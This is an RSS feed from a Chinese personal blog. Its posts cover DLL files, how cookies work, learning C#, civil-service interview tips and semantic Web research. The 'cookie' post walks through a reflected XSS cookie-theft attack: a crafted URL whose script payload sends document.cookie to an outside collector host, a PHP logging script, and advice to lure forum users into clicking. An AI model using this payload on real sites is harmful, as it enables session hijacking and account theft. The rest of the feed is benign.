<?xml version="1.0" encoding="gb2312"?>

<!-- RSS generated by oioj.net on 4/16/2004 ; 感谢LeXRus提供 RSS 2.0 文档; 此文件可自由使用，但请保留此行信息 --> 
<!-- Source download URL: http://blogger.org.cn/blog/rss2.asp       -->
<rss version="2.0">

<channel>
<title>xiaoqiao_xml的博客</title>
<link>http://blogger.org.cn/blog/blog.asp?name=xiaoqiao_xml</link>
<description>xiaoqiao_xml的博客</description>
<copyright>blogger.org.cn</copyright>
<generator>W3CHINA Blog</generator>
<webMaster>webmaster@blogger.org.cn</webMaster>
<item>
<title><![CDATA[教你认识动态链接库DLL文件]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=14287</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/5/11 18:33:30</pubDate>
<description><![CDATA[DLL是Dynamic Link Library的缩写，意为动态链接库。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可有多个DLL文件，一个DLL文件也可能被几个应用程序所共用，这样的DLL文件被称为共享DLL文件。DLL文件一般被存放在C:WindowsSystem目录下。<BR><BR><BR>　　<B><FONT color=#800000>1、如何了解某应用程序使用哪些DLL文件</FONT></B><BR><BR>　　右键单击该应用程序并选择快捷菜单中的“快速查看”命令，在随后出现的“快速查看”窗口的“引入表”一栏中你将看到其使用DLL文件的情况。<BR><BR>　　<B><FONT color=#8b0000>2、如何知道DLL文件被几个程序使用</FONT></B><BR><BR>　　运行Regedit，进入HKEY_LOCAL_MACHINESoftwareMicrosrftWindowsCurrent-<BR>VersionSharedDlls子键查看，其右边窗口中就显示了所有DLL文件及其相关数据，其中数据右边小括号内的数字就说明了被几个程序使用，（2）表示被两个程序使用，（0）则表示无程序使用，可以将其删除。<BR><BR>　　<B><FONT color=#8b0000>3、如何解决DLL文件丢失的情况</FONT></B><BR><BR>　　有时在卸载文件时会提醒你删除某个DLL文件可能会影响其他应用程序的运行。所以当你卸载软件时，就有可能误删共享的DLL文件。一旦出现了丢失DLL文件的情况，如果你能确定其名称，可以在Sysbckup（系统备份文件夹）中找到该DLL文件，将其复制到System文件夹中。如果这样不行，在电脑启动时又总是出现“***dll文件丢失……”的提示框，你可以在“开始/运行”中运行Msconfig，进入系统配置实用程序对话框以后，单击选择“System.ini”标签，找出提示丢失的DLL文件，使其不被选中，这样开机时就不会出现错误提示了。]]></description>
</item><item>
<title><![CDATA[cookie]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=14286</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/5/11 18:25:26</pubDate>
<description><![CDATA[二、Cookie的传递流程 适用对象：中级读者<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>　　&nbsp;当在浏览器地址栏中键入了一个Web站点的URL，浏览器会向该Web站点发送一个读取网页的请求，并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件，如果找到，浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据，就会在他的数据库中检索你的ID，你的购物记录、个人喜好等信息，并记录下新的内容，增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合，则说明你是第一次浏览该网站，服务器的CGI程序将为你创建新的ID信息，并保存到数据库中。<BR>&nbsp;&nbsp;&nbsp;&nbsp; Cookie是利用了网页代码中的HTTP头信息进行传递的，浏览器的每一次网页请求，都可以伴随Cookie传递，例如，浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中，伴随网页数据传回到你的浏览器，浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存，则关掉浏览器后，这些数据就消失。Cookie在电脑上保存的时间是不一样的，这些都是由服务器的设置不同决定得。Cookie有一个Expires（有效期）属性，这个属性决定了Cookie的保存时间，服务器可以通过设定Expires字段的数值，来改变Cookie的保存时间。如果不设置该属性，那么Cookie只在浏览网页期间有效，关闭浏览器，这些Cookie自动消失，绝大多数网站属于这种情况。通常情况下，Cookie包含Server、Expires、Name、Value这几个字段，其中对服务器有用的只是Name和Value字段，Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
<P>　　&nbsp;三、Cookie的编程实现 适用对象：高级读者<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>　　&nbsp;多数网页编程语言都提供了对Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中，对Cookie的编程利用基本上是相似的，大体过程为：先创建一个Cookie对象（Object），然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息？下面进行简单的介绍。<BR>&nbsp;&nbsp;&nbsp;&nbsp; 该方法主要有两步，首先要定位你需要收集Cookie的网站，并对其进行分析，并构造URL；然后编制收集Cookie的PHP代码，并将其放到你可以控制的网站上，当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。</P>
<P>　　&nbsp;1.分析并构造URL</P>
<P>　　&nbsp;首先打开我们要收集Cookie的网站，这里假设是<A href="http://www.xxx.net/"><FONT color=#000000 size=2>http://www.XXX.net</FONT></A>，登陆网站输入用户名“&lt;A1&gt;”（不含引号），对数据进行分析抓包，得到形如“http://www.XXX.net/txl/login/login.pl?username=&lt;A1&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6”的代码，将“&lt;A1&gt;”更换为“&lt;script&gt;alert(document.cookie)&lt;/script&gt;”再试；如果执行成功，就开始构造URL：“http://www.XXX.net/txl/login/login.pl?username=&lt;script&gt;window.open("<A href='http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)</script>&amp;passwd=&amp;ok.x=28&amp;ok.y=6'><FONT color=#000000 size=2>http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)&lt;/script&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6</FONT></A>”。其中<A href="http:///www.cbifamily.org/cbi.php"><FONT color=#000000 size=2>http:///www.cbifamily.org/cbi.php</FONT></A>就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码，因为“+”将被作为空格处理。该URL就可以在论坛中发布，诱使别人点击了。</P>
<P>　　&nbsp;2.编制PHP脚本</P>
<P>　　&nbsp;该脚本的作用就是收集Cookie文件，具体内容如下：</P>
<P>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $info = getenv("QUERY_STRING");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($info) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fp = fopen("info.txt","a");<BR>&nbsp;&nbsp;&nbsp;&nbsp; fwrite($fp,$info."\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp; fclose($fp);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; header("Location: <A href="http://www.xxx.net/"><FONT color=#000000 size=2>http://www.XXX.net</FONT></A>");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?&gt;</P>
<P>&nbsp;&nbsp;&nbsp; 四、Cookie的安全问题 适用对象：所有希望上网安全的读者</P>
<P>　　&nbsp;1.Cookie欺骗</P>
<P>　　&nbsp;Cookie记录着用户的帐户ID、密码之类的信息，如果在网上传递，通常使用的是MD5方法加密。这样经过加密处理后的信息，即使被网络上一些别有用心的人截获，也看不懂，因为他看到的只是一些无意义的字母和数字。然而，现在遇到的问题是，截获Cookie的人不需要知道这些字符串的含义，他们只要把别人的Cookie向服务器提交，并且能够通过验证，他们就可以冒充受害人的身份，登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞，并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的，例如，编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的，用支持Cookie的语言编写一小段代码就可以实现（具体方法见三），只要把这段代码放到网络里，那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里，然后给帖子取一个吸引人的主题，写上有趣的内容，很快就可以收集到大量的Cookie。在论坛上，有许多人的密码就被这种方法盗去的。至于如何防范，目前还没有特效药，我们也只能使用通常的防护方法，不要在论坛里使用重要的密码，也不要使用IE自动保存密码的功能，以及尽量不登陆不了解底细的网站。</P>
<P>　　&nbsp;2.Flash的代码隐患</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp; Flash中有一个getURL（）函数，Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方，当你在自己电脑上欣赏精美的Flash动画时，动画帧里的代码可能已经悄悄地连上网，并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情，比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为，网站是无法禁止的，因为这是Flash文件的内部行为。我们所能做到的，如果是在本地浏览尽量打开防火墙，如果防火墙提示的向外发送的数据包并不为你知悉，最好禁止。如果是在Internet上欣赏，最好找一些知名的大网站。<BR></P><BR>]]></description>
</item><item>
<title><![CDATA[网络小馅饼 Cookie]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=14282</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/5/11 17:39:53</pubDate>
<description><![CDATA[因特网的Cookie技术极其简单，却有着旺盛的生命力。Cookie开始引起众人的注意是从2000年二月份随着网络隐私权的提出开始的，有关的辩论至今仍在继续。从另一方面来说，Cookie使得浏览网页更容易了。几乎所有的主要的网站设计者都使用了Cookie，因为他们想为浏览网站的人提供一个更好的浏览环境，同时也能更加准确地收集访客的信息。
<P>　　有家颇有影响的报纸上曾刊登了一篇很有深度的关于网络隐私的文章，上面对于Cookie的定义是这样的：</P>
<P>　　“Cookie是Web网站放在您的硬盘上的程序。它守在您的电脑里，搜集您的信息以及您在因特网上所做的任何事情，当Web站点需要的时候它能够下载所有这些搜集到的信息。”</P>
<P>　　像这样的定义在报刊中相当普遍。问题是，它的定义犯了很大的错误。Cookie不是程序，而且它不能像程序一样地运行，所以它无法为自己搜集任何信息。它也不能从您的电脑上取得您的任何个人资料。</P>
<P>　　Cookie的比较确切的定义应该是这个样子：</P>
<P>　　“Cookie是Web服务器保存在用户硬盘上的一段文本。Cookie允许一个Web站点在用户的电脑上保存信息并且随后再取回它。信息的片断以‘名/值’对(name-value pairs)的形式储存。”</P>
<P>　　举例来说，一个Web站点可能会为每一个访问者产生一个唯一的ID，然后以Cookie文件的形式保存在每个用户的机器上。</P>
<P>　　如果您使用IE浏览器访问Web，您会看到所有保存在您的硬盘上的Cookie。它们最常存放的地方是：c:windowscookies(在Win 2000中则是C:Documents and Settings您的用户名Cookies——作者注)。在我的机器上共有165个文件。每一个文件都是一个由“名/值”对组成的文本文件，另外还有一个文件保存有所有对应的Web站点的信息。</P>
<P>　　在这个文件夹里的每个Cookie文件都是一个简单而又普通的文本文件。透过文件名，您可以看到是哪个Web站点在您的机器上放置了Cookie（当然站点信息在文件里也有保存）。您也能双击打开每一个Cookie文件。<BR>比如，我访问了goto.com，而且这个站点在我的电脑上放了个Cookie。goto.com的Cookie文件包含了这样的内容：</P>
<P>　　UserID A9A3BECE0563982D <A href="http://www.goto.com/"><FONT color=#000000 size=2>www.goto.com/</FONT></A></P>
<P>　　goto.com在我的电脑上存入了一个单一的“名/值”对。“名/值”对的“名”是UserID，“值”是A9A3BECE0563982D。在我第一次访问goto.com的时候，该网站为我分配了一个唯一的ID并存在我的电脑里。</P>
<P>　　（注：除了上面举例的“名/值”对，可能会有其它的“名/值”对同时保存下来。那是浏览器的一些内部信息，一般用户不必多做了解。）</P>
<P><BR>　　Amazon.com在我的电脑上保存了稍稍多一些的信息。当我查看Amazon在我的电脑上建立的Cookie文件时，它包含以下内容:</P>
<P>　　session-id-time 954242000 amazon.com/</P>
<P>　　session-id 002-4135256-7625846 amazon.com/</P>
<P>　　x-main <A href="mailto:eKQIfwnxuF7qtmX52x6VWAXh@Ih6Uo5H"><FONT color=#000000 size=2>eKQIfwnxuF7qtmX52x6VWAXh@Ih6Uo5H</FONT></A> amazon.com/</P>
<P>　　ubid-main 077-9263437-9645324 amazon.com/</P>
<P>　　以上内容显示出Amazon存储了一个主用户ID ubid-main，一个标记每次任务的ID session-id及任务发生的时间session-id-time。还有一个x-main，不知道是什么。</P>
<P>　　大多数的网站在您的电脑上只保存一条信息，即用户ID。但一个站点可以用Cookie存储的“名/值”对的最大数目没有任何限制。</P>
<P>　　一个“名/值”对仅仅是一条命名的数据，它不是程序，也不能“做”任何事情。一个网站只能取得它放在您的电脑中的信息，它无法从其它的Cookie文件中取得信息，也无法得到您的电脑上的其它任何东西。</P>
<P>　　Cookie数据仅仅是Web站点在浏览者硬盘上存储的“名/值”数据对。这就是Cookie的所有内容。Web站点保存了数据，随后又把它取回。一个Web站点只能取得它保存在你电脑上的内容，无法偷窥别的Cookie，更不要说电脑上其他的数据。<BR>　　<BR>　　Cookie数据的流动过程如下：<BR>　　<BR>　　·如果在浏览器上键入了一个Web站点的URL，浏览器向Web站点请求读取网页。比如，您输入了：<BR>http://www.amazon.com<BR>　　<BR>　　浏览器将从Amazon的服务器读取它的主页。<BR>　　<BR>　　·在做上面工作的同时，浏览器将从电脑上寻找Amazon网站设置的Cookie文件。如果找到了Amazon的Cookie文件，浏览器会把文件中的所有“名/值”对同先前的URL一同发给Amazon服务器。如果没有找到，就不发送Cookie数据。<BR>　　<BR>　　·Amazon服务器接收Cookie数据和对网页的请求。如果存在“名/值”对，Amazon将使用它。<BR>　　<BR>　　·如果没有收到“名/值”对，Amazon知道您在此之前没有访问过它的站点，服务器会为您创建一个新的ID放进Amazon的数据库中，然后把“名/值”对放在传回的网页的头信息里传给您。您的浏览器将在硬盘上保存“名/值”对。<BR>　　<BR>　　·每当您再次访问网站时，网站服务器会改变“名/值”对或增加新的“名/值”对。<BR>　　<BR>　　另外，服务器会随着“名/值”对发送一些其他信息。其一是生存期（Expiration date）；还有一个是路径（网站借此把不同的Cookie值与不同的网站部位关联起来）。<BR>　　<BR>　　您有权控制这个过程。您可以设置一个选项让浏览器在收到网站发来的“名/值”对时提醒您，由您决定是否接受。<BR></P>]]></description>
</item><item>
<title><![CDATA[开始学习C＃]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11230</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/16 16:11:39</pubDate>
<description><![CDATA[<P>老板下学期的项目应该是用.net开发的，最近开始学习C＃，仔细阅读发现并不难，只是太久没有静下心看书了，希望自己能够坚持吧，毕竟还是学生。</P>
<P>似乎对英语的兴趣始终都在，那就不要放下，前进...</P>]]></description>
</item><item>
<title><![CDATA[考生了解公务员面试要把握“五个一”]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11228</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/16 15:11:59</pubDate>
<description><![CDATA[公务员面试是一门学问，考生必须对面试有充分、足够、详细的了解。只有比竞争对手更了解面试，才可能胜对手一筹。考生要了解面试，必须把握以下“五个一”诀窍。 <BR><BR>　　购买一本面试书籍。考生在得知进入面试名单后，应该购买有关面试的书籍来阅读学习。由于市场上面试书籍的内容大体相同，建议考生不要多买，买一本读深、读透就够了。如果觉得一本不够，考生可以在书店里简要看看同类面试书籍的不同内容，做到心里有数即可。 <BR><BR>　　下载一款面试软件。当前，网络上出现了一些面试软件，比如有一款叫做“面试第一”的软件，就是由一名面试成功者编写出来的，软件内容包含了面试教材、历年真题、考生经验以及模拟试题等等，内容相当齐全，得到了很多考生的充分好评，考生不妨到网络上搜索并下载使用。 <BR><BR>　　融入一个面试论坛。随着公务员考试的不断升温，互联网上出现了越来越多的公务员考试论坛，其中也包括面试论坛。面试论坛能够给考生带来很多信息，同时亦为考生提供一个相互学习、交流的平台，考生在加入论坛时，一定要选择人气足、信息量大的论坛，比如“学生大论坛”、“中国招生考试论坛”等。 <BR><BR>　　加入一个面试群。QQ软件是当前大家常用的一种网上即时通讯软件，该软件提供了一种“群”功能，由群主设定群的主题，并由网友自愿加入。在“群”里，既可以找到几十乃至上百个志同道合的考友，又可以与他们实现即时交流，实现考生之间的相互合作、相互提醒、相互学习、相互促进。此外，很多群还提供了资料共享功能，考生们可以在群里实现备考资料的共享。 <BR><BR>　　寻找一个面试老师。建议考生结识一位曾经进行过面试的考官，拜其为师，请其当面指导，并从考官的角度帮助考生了解面试。如果没有机会找到考官也不要紧，考生可以找一位已经成功通过公务员面试的学长或是亲朋好友，请他们介绍曾经的面试经历，增进自己对面试的了解。 <BR><BR>　　如果通过上述努力，考生仍觉得对面试了解不够，还可以选择参加一次面试培训。笔者以为，参加面试培训是可选项而非必选项。这是因为当前面试培训班太多，良莠不齐，而且收费很高，价值值得怀疑。因此，考生可以搜索一些有关面试培训班的录音、影像以及文字资料，或是向参加过培训班的同学、朋友打听一下，确认需要后再谨慎选择合适的培训班参加。 <BR>
<P>&nbsp;</P>]]></description>
</item><item>
<title><![CDATA[语义Web的基础理论和关键技术研究]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11143</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/10 16:26:42</pubDate>
<description><![CDATA[<P><FONT face=宋体 size=3></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>语义<SPAN lang=EN-US>Web</SPAN>概念的一经提出，就引起了国内研究机构和高校研究学者的极大重视，纷纷围绕语义<SPAN lang=EN-US>Web</SPAN>的研究内容开展了深入研究，在语义<SPAN lang=EN-US>Web</SPAN>的基础理论和平台关键技术研究方面取得了一些可喜的成果。</FONT><SPAN lang=EN-US><FONT size=3> </FONT>
<P><FONT size=3></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=3></FONT></P>
<P><FONT face=宋体 size=3></FONT></P>
<P><FONT face=宋体 size=3></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt; LINE-HEIGHT: 125%"><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt"><FONT size=2>语义<SPAN lang=EN-US>Web </SPAN>的语义表达理论是建立在<SPAN lang=EN-US>AI </SPAN>近<SPAN lang=EN-US>40</SPAN>年关于知识表达的研究基础之上的，同时必须满足面向互联网的表达的普遍性、动态性和异构性。例如，<SPAN lang=EN-US>RDF</SPAN>是一种框架系统；<SPAN lang=EN-US>OWL</SPAN>是基于描述逻辑（<SPAN lang=EN-US>Description Logic</SPAN>）。从知识表达发展来看：上世纪<SPAN lang=EN-US>60</SPAN>年代初，传统的一阶逻辑（<SPAN lang=EN-US>first-order-logic</SPAN>）应用于知识表达；上世纪<SPAN lang=EN-US>60-70</SPAN>年代，出现了新的知识表示方法，例如语义网络<SPAN lang=EN-US> (Quine)</SPAN>、框架系统<SPAN lang=EN-US>(Minsky)</SPAN>、产生式系统等等；上世纪<SPAN lang=EN-US>70</SPAN>年代末期<SPAN lang=EN-US>-90</SPAN>年代初，有以<SPAN lang=EN-US>KL-ONE</SPAN>为代表的知识表达系统，<SPAN lang=EN-US>Woods</SPAN>与<SPAN lang=EN-US> Brachman</SPAN>结合语义网络与框架系统的特点提出了<SPAN lang=EN-US>KL-ONE</SPAN>知识表达系统，从此一大批以<SPAN lang=EN-US>KL-ONE</SPAN>为基础的知识表达语言和实用系统出现，如：<SPAN lang=EN-US>NIKL</SPAN>，<SPAN lang=EN-US>LOOM</SPAN>，<SPAN lang=EN-US>CLASSIC</SPAN>，<SPAN lang=EN-US>BACK</SPAN>，<SPAN lang=EN-US>KANDOR</SPAN>，<SPAN lang=EN-US>KRYPTON</SPAN>等；上世纪<SPAN lang=EN-US>90</SPAN>年代初到现在：以<SPAN lang=EN-US>Description Logic</SPAN>为基础知识表达成为主流，<SPAN lang=EN-US>KL-ONE</SPAN>家族逐步演变成现在的<SPAN lang=EN-US>Description Logic</SPAN>（德国<SPAN lang=EN-US>DFKI</SPAN>）。<SPAN style="COLOR: red">从历史来看，语义<SPAN lang=EN-US>Web</SPAN>表达的语义理论基础是基于<SPAN lang=EN-US>Description Logic</SPAN></SPAN>。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt"><FONT size=2>语义<SPAN lang=EN-US>Web</SPAN>不仅需要提供静态的信息，而且也需要提供动态的服务（即语义<SPAN lang=EN-US>Web</SPAN>服务），从而语义<SPAN lang=EN-US>Web</SPAN>上的逻辑推理不仅包括对静态知识（本体）的推理，而且也包括对动态知识（服务）的推理。而传统的描述逻辑主要是用来对静态知识进行表示和推理的，不能有效的对动态知识进行表示和推理，因而传统的描述逻辑（如<SPAN lang=EN-US>SHOIQ(D)</SPAN>和<SPAN lang=EN-US>SHOIN+(D)</SPAN>）不能为语义<SPAN lang=EN-US>Web</SPAN>提供合理的逻辑基础，也就是说，用传统的描述逻辑来作为语义<SPAN lang=EN-US>Web</SPAN>的逻辑基础是不充分的。基于上述原因，根据语义<SPAN lang=EN-US>Web</SPAN>的特点和需求，提出了一种新的描述逻辑，<SPAN style="COLOR: red">即动态描述逻辑<SPAN lang=EN-US>DDL</SPAN></SPAN>（<SPAN lang=EN-US>Dynamic Description Logic</SPAN>），该<SPAN lang=EN-US>DDL</SPAN>将静态和动态的知识表示与推理有机地整合在一起，形成了一种统一的形式化框架。它具有清晰的语义特征，提供了可判定的推理服务，又能有效地对动态过程和运行机制进行表示和推理。<SPAN style="COLOR: red">动态描述逻辑<SPAN lang=EN-US>DDL</SPAN>是传统描述逻辑的推广（增加了对动作的表示和推理），该<SPAN lang=EN-US>DDL</SPAN>可以为语义<SPAN lang=EN-US>Web</SPAN>提供合理的逻辑基础，弥补了传统描述逻辑作为语义<SPAN lang=EN-US>Web</SPAN>逻辑基础的不足</SPAN>。</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>中科院计算所在动态描述逻辑上进行了系统深入的研究，建立了包括动态描述逻辑的语法、语义和推理的一套系统理论。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><SPAN style="COLOR: black; FONT-FAMILY: 宋体; mso-hansi-font-family: Arial"><FONT size=2>网络提供了一个在全球范围内实现资源共享和问题求解的平台，为了使得网络发挥其全部的潜能，必须将网络转换成巨大的知识和服务空间。中科院计算所在基于<SPAN lang=EN-US>Web</SPAN>的知识管理研究方面提出一个基于知识的数据模型和运用其上的查询代数，能有效地管理和共享网络中异质的资源和服务，改知识模型由知识模式、资源实例库和完整性约束组成，知识模式用于获得公认的领域知识：概念和属性，完整性约束用于丰富资源描述，它规定一系列规则来规范化资源建模，并获得领域相关的背景知识，在此基础上，他们还建立了基于该知识模型的查询语言，为<SPAN lang=EN-US>Web</SPAN>知识管理奠定了良好的理论基础。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">东南大学在</SPAN><FONT face=宋体><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">上的知识表示、语义</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">的逻辑框架、</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">信息安全和语义</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务等方面开展了一系列工作。在</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">WWW2003</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">、《</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Future Generation Computer Systems</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">》和《</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Journal of Web Semantics</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">》等国际会议和期刊上发表了有关语义</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">的文章。另外，通过积极参与</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">W<CHMETCNV w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C"></CHMETCNV>3C</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">有关技术规范工作草案的讨论，而且有多个有关语义</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">Web</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">技术规范的评论意见得到了</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">RDF Core</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">工作组以及</SPAN><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt">WebOnto</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">工作组的重视</SPAN></FONT></FONT><SPAN lang=EN-US style="COLOR: black; FONT-FAMILY: 宋体; mso-hansi-font-family: Arial"><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
